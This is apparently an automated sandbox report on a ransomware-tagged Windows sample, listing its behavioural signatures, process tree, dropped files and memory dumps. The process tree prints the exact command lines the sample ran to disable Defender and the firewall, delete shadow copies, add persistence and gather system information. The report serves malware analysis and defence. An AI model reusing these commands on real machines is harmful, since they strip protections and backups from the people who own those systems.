Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/11/2026, 13:26

General

  • Target
    2026-11-09_8a1a6274505b393ec50b4d33f0f1adab_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 68KB
  • Sample261110-qpqtkstyay
  • SHA256 5bf1f398e87073720b561110149591e226f437b06dfc0c26c96da2d5df17a5bb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Custom signature
    Detects command variations typically used by ransomware 2 IoCs
  • Custom signature
    Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 37 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Owner/User Discovery 1 TTPs

    Attempt to identify the primary or current user.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 25 IoCs
  • Modifies registry class 12 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-09_8a1a6274505b393ec50b4d33f0f1adab_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-09_8a1a6274505b393ec50b4d33f0f1adab_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4212
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2036
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4668
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2112
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1832
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2396
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1340
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3188
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4104
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4192
    • C:\Windows\SysWOW64\wscript.exe
      "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
      2⤵
      • Executes a VBScript file via the Windows Script Host.
      • System Location Discovery: System Language Discovery
      PID:5020
    • C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-11-09_8a1a6274505b393ec50b4d33f0f1adab_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Scheduled Task/Job: Scheduled Task
      PID:1216
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4668
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic shadowcopy delete
        3⤵
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3584
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:656
      • C:\Windows\SysWOW64\systeminfo.exe
        systeminfo
        3⤵
        • System Location Discovery: System Language Discovery
        • Gathers system information
        PID:4476
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:776
      • C:\Windows\SysWOW64\tasklist.exe
        tasklist
        3⤵
        • Discovers running processes
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:4332
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4220
      • C:\Windows\SysWOW64\whoami.exe
        whoami
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3820
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4024
      • C:\Windows\SysWOW64\net.exe
        net user
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3772
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1208
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4172
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /all
        3⤵
        • System Location Discovery: System Language Discovery
        • Gathers network information
        PID:3124
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4144
      • C:\Windows\SysWOW64\NETSTAT.EXE
        netstat -an
        3⤵
        • System Location Discovery: System Language Discovery
        • Gathers network information
        • Suspicious use of AdjustPrivilegeToken
        PID:2692
    • C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-11-09_8a1a6274505b393ec50b4d33f0f1adab_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Scheduled Task/Job: Scheduled Task
      PID:2376
    • C:\Windows\SysWOW64\wscript.exe
      "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
      2⤵
      • Executes a VBScript file via the Windows Script Host.
      • System Location Discovery: System Language Discovery
      PID:3408
    • C:\Windows\SysWOW64\notepad.exe
      "C:\Windows\System32\notepad.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4192
    • C:\Windows\SysWOW64\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      2⤵
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:3228
    • C:\Windows\SysWOW64\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2200
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop srservice
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3272
    • C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:4656
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" config i8042prt start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3568
    • C:\Windows\SysWOW64\sc.exe
      "C:\Windows\System32\sc.exe" stop i8042prt
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1080
  • C:\Windows\system32\LogonUI.exe
    "LogonUI.exe" /flags:0x0 /state0:0xa3990055 /state1:0x41c64e6d
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    PID:4168
  • C:\Users\Admin\AppData\Local\Temp\2026-11-09_8a1a6274505b393ec50b4d33f0f1adab_destroyer_elex_glassworm_ngrbot_wannacry.exe
    C:\Users\Admin\AppData\Local\Temp\2026-11-09_8a1a6274505b393ec50b4d33f0f1adab_destroyer_elex_glassworm_ngrbot_wannacry.exe
    1⤵
    • System Location Discovery: System Language Discovery
    PID:4916
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4376

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        ~ockScreen___1920_1080_notdimmed.tmp

        • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-240542094-4193773837-3211495583-1000\ReadOnly\LockScreen_O\~ockScreen___1920_1080_notdimmed.tmp
        • Size 743KB
        • SHA256 81dad7208c6f35563c37920aedf6b206e1b52d423849d845b162668b8809d1b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        doc_2.pdf

        • Path C:\SystemVolumeInformation\doc_2.pdf
        • Size 91KB
        • SHA256 646bcca118f718cdd093b665e39590c21a70eb810fe1a2e2cb1451e981443b4f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_wevvhfsb.zql.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wevvhfsb.zql.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        createshortcut.vbs

        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
        • Size 309B
        • SHA256 b9292dd8c0c4c5acc01263020424b745c83e85beb14e792e7c90f3bbd4e6e874
        • MD5 SHA1 SHA512 TLSH

        del.bat

        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
        • Size 59B
        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
        • MD5 SHA1 SHA512 TLSH

        makelnk.vbs

        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        • Size 310B
        • SHA256 7ec9a17657b9e2eda9464a56b13f61787b793b7dd76499b2889ea5356bc1007c
        • MD5 SHA1 SHA512 TLSH

        readme_1.xlsx

        • Path C:\Users\Admin\Documents\readme_1.xlsx
        • Size 92KB
        • SHA256 f43ee37ee9cfb3f687965d7a8cf54e32b08afee5b750aa77d2dd88dea20550f4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sysupdate.exe

        • Path C:\Windows\SysWOW64\sysupdate.exe
        • Size 68KB
        • SHA256 5bf1f398e87073720b561110149591e226f437b06dfc0c26c96da2d5df17a5bb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2036-2654-0x0000000006DA0000-0x0000000006DD2000-memory.dmp

        memory/2036-2996-0x0000000007B00000-0x0000000007B1A000-memory.dmp

        memory/2036-22-0x0000000005340000-0x0000000005376000-memory.dmp

        memory/2036-4275-0x0000000007D80000-0x0000000007D88000-memory.dmp

        memory/2036-614-0x0000000005A60000-0x0000000005A82000-memory.dmp

        memory/2036-620-0x0000000006350000-0x00000000063B6000-memory.dmp

        memory/2036-617-0x00000000062E0000-0x0000000006346000-memory.dmp

        memory/2036-625-0x00000000063C0000-0x0000000006714000-memory.dmp

        memory/2036-924-0x00000000067F0000-0x000000000680E000-memory.dmp

        memory/2036-929-0x0000000006B90000-0x0000000006BDC000-memory.dmp

        memory/2036-4226-0x0000000007E50000-0x0000000007E6A000-memory.dmp

        memory/2036-2724-0x0000000006D80000-0x0000000006D9E000-memory.dmp

        memory/2036-2695-0x000000006EB20000-0x000000006EB6C000-memory.dmp

        memory/2036-2816-0x00000000079A0000-0x0000000007A43000-memory.dmp

        memory/2036-2959-0x0000000008140000-0x00000000087BA000-memory.dmp

        memory/2036-23-0x0000000005AC0000-0x00000000060E8000-memory.dmp

        memory/2036-3099-0x0000000007B60000-0x0000000007B6A000-memory.dmp

        memory/2036-3231-0x0000000007D90000-0x0000000007E26000-memory.dmp

        memory/2036-3307-0x0000000007D00000-0x0000000007D11000-memory.dmp

        memory/2036-3996-0x0000000007D30000-0x0000000007D3E000-memory.dmp

        memory/2036-4083-0x0000000007D40000-0x0000000007D54000-memory.dmp

        memory/4192-5280-0x0000000004990000-0x0000000004991000-memory.dmp

        memory/4212-0-0x0000000000160000-0x0000000000178000-memory.dmp

        memory/4212-18-0x0000000008140000-0x000000000866C000-memory.dmp

        memory/4212-17-0x0000000007250000-0x0000000007412000-memory.dmp

        memory/4212-4-0x0000000004B60000-0x0000000004B6A000-memory.dmp

        memory/4212-5269-0x0000000004E60000-0x0000000004E70000-memory.dmp

        memory/4212-3-0x0000000004E60000-0x0000000004E70000-memory.dmp

        memory/4212-2-0x0000000004C30000-0x0000000004CC2000-memory.dmp

        memory/4212-1-0x0000000005140000-0x00000000056E4000-memory.dmp